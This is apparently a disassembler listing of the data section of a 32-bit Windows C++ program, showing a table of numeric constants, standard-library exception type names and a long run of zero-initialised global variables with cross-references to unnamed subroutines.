dword_43D5F8	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D754	dd offset off_427D60	; DATA XREF: ___:00427F3Co
					; ___:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D76C	dd offset off_427D60	; DATA XREF: ___:off_427DF0o
					; ___:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D78C	dd offset off_427D60	; DATA XREF: ___:off_427E38o
					; ___:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7AC	dd offset off_427D60	; DATA XREF: ___:off_427E84o
					; ___:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7D0	dd offset off_427D60	; DATA XREF: ___:off_427ED0o
					; ___:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D7F0	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D7F8	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D800	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D818	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E380	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E580	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E584	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E588	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E58C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E590	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E594	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E598	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
		dd 1C6Dh dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E44o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438130o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438B9Co
		dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438A08o
		dd 584Eh dup(0)
dword_4CB380	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB384	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D8r ...
dword_4CB388	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB38C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB40C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB44C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4DC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4E0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB4F0	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB4F4	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB4F8	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB4FC	dd 0			; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB500	dd 0			; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB504	dd 0			; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB508	dd 0			; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB50C	dd 0			; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB510	dd 0			; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB514	dd 0			; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB518	dd 0			; DATA XREF: sub_409B13+213w
					; sub_409B13+234r
dword_4CB51C	dd 0			; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB520	dd 0			; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB524	dd 0			; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB528	dd 0			; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB52C	dd 0			; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB530	dd 0			; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB538	dd 0			; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB540	dd 0			; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB544	dd 0			; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB548	dd 0			; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B13+B3w
dword_4CB550	dd 0			; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB554	dd 0			; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB55C	dd 0			; DATA XREF: sub_409B13+934w
dword_4CB560	dd 0			; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB564	dd 0			; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB568	dd 0			; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r
dword_4CB570	dd 0			; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB574	dd 0			; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB578	dd 0			; DATA XREF: sub_409B13+A0Cw
dword_4CB57C	dd 0			; DATA XREF: sub_409B13+B50w
dword_4CB580	dd 0			; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB584	dd 0			; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB588	dd 0			; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB58C	dd 0			; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB590	dd 0			; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB594	dd 0			; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB598	dd 0			; DATA XREF: sub_409B13+6ACw
					; ___:00410890r
dword_4CB59C	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5A0	dd 0			; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5A4	dd 0			; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5A8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5AC	dd 0			; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5B0	dd 0			; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5B4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5118r ...
dword_4CB5B8	dd 0			; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5C0	dd 0			; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5C4	dd 0			; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5C8	dd 0			; DATA XREF: sub_409B13+22Dw
dword_4CB5CC	dd 0			; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er
dword_4CB5D0	dd 0			; DATA XREF: sub_409B13+C28w
dword_4CB5D4	dd 0			; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5D8	dd 0			; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5DC	dd 0			; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5E0	dd 0			; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr
dword_4CB5E4	dd 0			; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5E8	dd 0			; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5EC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB5F0	dd 0			; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB5F4	dd 0			; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB5F8	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB5FC	dd 0			; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB600	dd 0			; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB604	dd 0			; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB608	dd 0			; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB60C	dd 0			; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB610	dd 0			; DATA XREF: sub_409B13+206w
					; sub_409B13+227r
dword_4CB614	dd 0			; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB618	dd 0			; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB61C	dd 0			; DATA XREF: sub_409B13+624w
					; sub_409B13+774r
dword_4CB620	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB624	dd 0			; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB628	dd 0			; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB630	dd 0			; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB634	dd 0			; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB638	dd 0			; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB63C	dd 0			; DATA XREF: sub_409B13+AA2w
dword_4CB640	dd 0			; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB644	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB648	dd 0			; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB650	dd 0			; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB654	dd 0			; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB658	dd 0			; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB65C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB660	dd 0			; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB664	dd 0			; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB668	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB66C	dd 0			; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB670	dd 0			; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB674	dd 0			; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB678	dd 0			; DATA XREF: sub_409B13+879w
					; ___:004168D6r ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB680	dd 0			; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB684	dd 0			; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB688	dd 0			; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB690	dd 0			; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB694	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB69C	dd 0			; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6A0	dd 0			; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6A4	dd 0			; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6B0	dd 0			; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6B4	dd 0			; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B13+BAAw
dword_4CB6BC	dd 0			; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6C0	dd 0			; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6C4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6C8	dd 0			; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6CC	dd 0			; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6D0	dd 0			; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6D4	dd 0			; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6D8	dd 0			; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6DC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6E0	dd 0			; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6E8	dd 0			; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6EC	dd 0			; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB6F0	dd 0			; DATA XREF: ___:00401273r
					; sub_409B13+31w ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB6FC	dd 0			; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br
dword_4CB700	dd 0			; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB704	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB708	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB70C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB710	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB714	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4568r ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB720	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB724	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB728	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB730	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB734	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB738	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB73C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB744	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB748	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB74C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB750	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB758	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB760	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB768	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB770	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
dword_4CB774	dd 7 dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB790	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB794	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C125+2F1w ...
		dd 7FEh	dup(0)
dword_4CD790	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7A8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7AC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7B0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7B4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
dword_4CD7B8	dd 20h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD838	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD83C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD840	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD84C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
dword_4CD950	dd 41h dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA54	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA58	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA5C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
dword_4CDA60	dd 20h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAE0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAE4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAE8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDAF4	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
dword_4CDBF8	dd 41h dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDCFC	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD00	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD04	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
dword_4CDD08	dd 20h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD88	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD8C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
dword_4CDD90	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
dword_4CDD9C	dd 0A2h	dup(0)		; DATA XREF: sub_40BACE+405o
dword_4CE024	dd 41h dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE128	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE130	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE134	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE13C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE144	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE14C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r
dword_4CE150	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r
dword_4CE154	dd 82h dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE35C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE364	dd 0			; DATA XREF: sub_40D8A0+8w
					; ___:0040DC6Fo
		dd 0
dword_4CE36C	dd 2 dup(0)		; DATA XREF: ___:0040DBA5o
dword_4CE374	dd 0			; DATA XREF: ___:0040E4D8r
		dd 0
		dd 0
dword_4CE380	dd 0			; DATA XREF: ___:0040E4ABr
dword_4CE384	dd 0			; DATA XREF: ___:0040E48Dr
					; ___:0040E4F6r
		dd 0
dword_4CE38C	dd 0			; DATA XREF: sub_40BACE+2AEr
		dd 0
dword_4CE394	dd 0			; DATA XREF: sub_40B786+1Cr
dword_4CE398	dd 0			; DATA XREF: ___:0040EFE9w
					; ___:0040F010r ...
		dd 3 dup(0)
dword_4CE3A8	dd 0			; DATA XREF: ___:00410906r
		align 10h
dword_4CE3B0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		dd 109h	dup(0)
dword_4CE7D8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o
dword_4CEDF8	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 11Ch	dup(0)
dword_4CF26C	dd 1000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do
dword_4D326C	dd 0			; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3270	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3278	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
dword_4D32B0	dd 80h dup(0)		; DATA XREF: sub_4175EA+41o
dword_4D34B0	dd 200h	dup(0)		; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
dword_4D3CB0	dd 128h	dup(0)		; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437F18o
		dd 0D7h	dup(0)
dword_4D44B0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44B4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44B8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44BC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
dword_4D44C0	dd 80h dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46C0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46C8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46CC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
dword_4D46D0	dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46D4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46D8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46DC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46E4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48E4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
		dd 1944h dup(0)
dword_4DADF8	dd 0			; DATA XREF: sub_417A60+23o
dword_4DADFC	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
dword_4DB000	dd 17h dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
dword_4DB05C	dd 80h dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB25C	dd 0			; DATA XREF: sub_418B59+45w
					; sub_418B59+4Dr ...
dword_4DB260	dd 17h dup(0)		; DATA XREF: sub_419460:loc_419582o
					; sub_419460+12Do
dword_4DB2BC	dd 80h dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4BC	db 0			; DATA XREF: sub_418B59+29r
					; sub_418B59+34w
		align 10h
dword_4DB4C0	dd 80h dup(0)		; DATA XREF: sub_418DB0+61o
					; sub_418DB0+89o ...
dword_4DB6C0	dd 81h dup(0)		; DATA XREF: sub_4186C2:loc_4186FAo
					; sub_4186C2+5Bo
dword_4DB8C4	dd 0			; DATA XREF: sub_419A21:loc_419A42r
					; sub_419B10+54r ...
dword_4DB8C8	dd 0			; DATA XREF: sub_419A21r
					; sub_419B10+37r ...
dword_4DB8CC	dd 0			; DATA XREF: sub_419A51+1Ar
					; sub_419C65+83o
dword_4DB8D0	dd 0			; DATA XREF: sub_419A21:loc_419A35r
					; sub_419C65+11Bw
dword_4DB8D4	dd 0Dh dup(0)		; DATA XREF: sub_419B10+13o
					; sub_419C65:loc_419DA2o
dword_4DB908	dd 0			; DATA XREF: sub_419B10+CDr
					; sub_419B10+ECr ...
		align 10h
dword_4DB910	dd 0Eh dup(0)		; DATA XREF: sub_41A88C+47o
dword_4DB948	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB94C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB950	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB964	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB968	dd 2470B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
